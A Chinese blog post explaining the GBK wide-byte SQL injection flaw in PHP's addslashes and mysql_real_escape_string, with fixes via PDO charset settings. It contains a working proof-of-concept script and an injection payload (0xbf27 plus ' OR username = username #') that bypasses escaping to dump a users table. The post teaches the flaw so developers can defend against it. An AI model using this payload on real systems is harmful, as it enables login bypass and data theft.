GBK字符集下addslashes、mysql_real_escape_string函数的注入漏洞及解决办法

该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。

mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。


方法一:
改变mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二:
在建立连接时使用
SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'", $c);

问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞


<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
    username VARCHAR(32) PRIMARY KEY,
    password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username #'; 
$_POST['password'] = 'anything'; 

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>

环境PHP5.2
SQL:SELECT * FROM users WHERE username = '縗' OR username = username #' AND password = 'anything'   查询结果为2

环境PHP5.3 5.4
SQL:SELECT * FROM users WHERE username = '\縗' OR username = username #' AND password = 'anything'   查询结果为0

PHP5.2 很明显被sql注入,但是5.3 5.4版本貌似不会,难道为修复了?
来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html

帮助了解Mysql字符集

http://www.laruence.com/2008/01/05/12.html
http://www.laruence.com/2010/04/12/1396.html

 

解决办法

1.php5.3.6中,连接dsn增加了一个参数charset用以设置字符集
$dsn = 'mysql:dbname=test;host=localhost;port=3306;charset=gbk';
php手册中对pdo设置字符集的描述http://www.php.net/manual/zh/ref.pdo-mysql.connection.php
2.使用query('set names gbk,character_set_client=binary');
character_set_client=binary以2进制的方式发送字符给mysql,彻底杜绝宽字符攻击

35互联高级程序员的安全讲座ppt可以帮助各位理解http://vdisk.weibo.com/s/yThjZrrykVNUx,在这里感谢车爷的指导~

发表评论

电子邮件地址不会被公开。 必填项已用*标注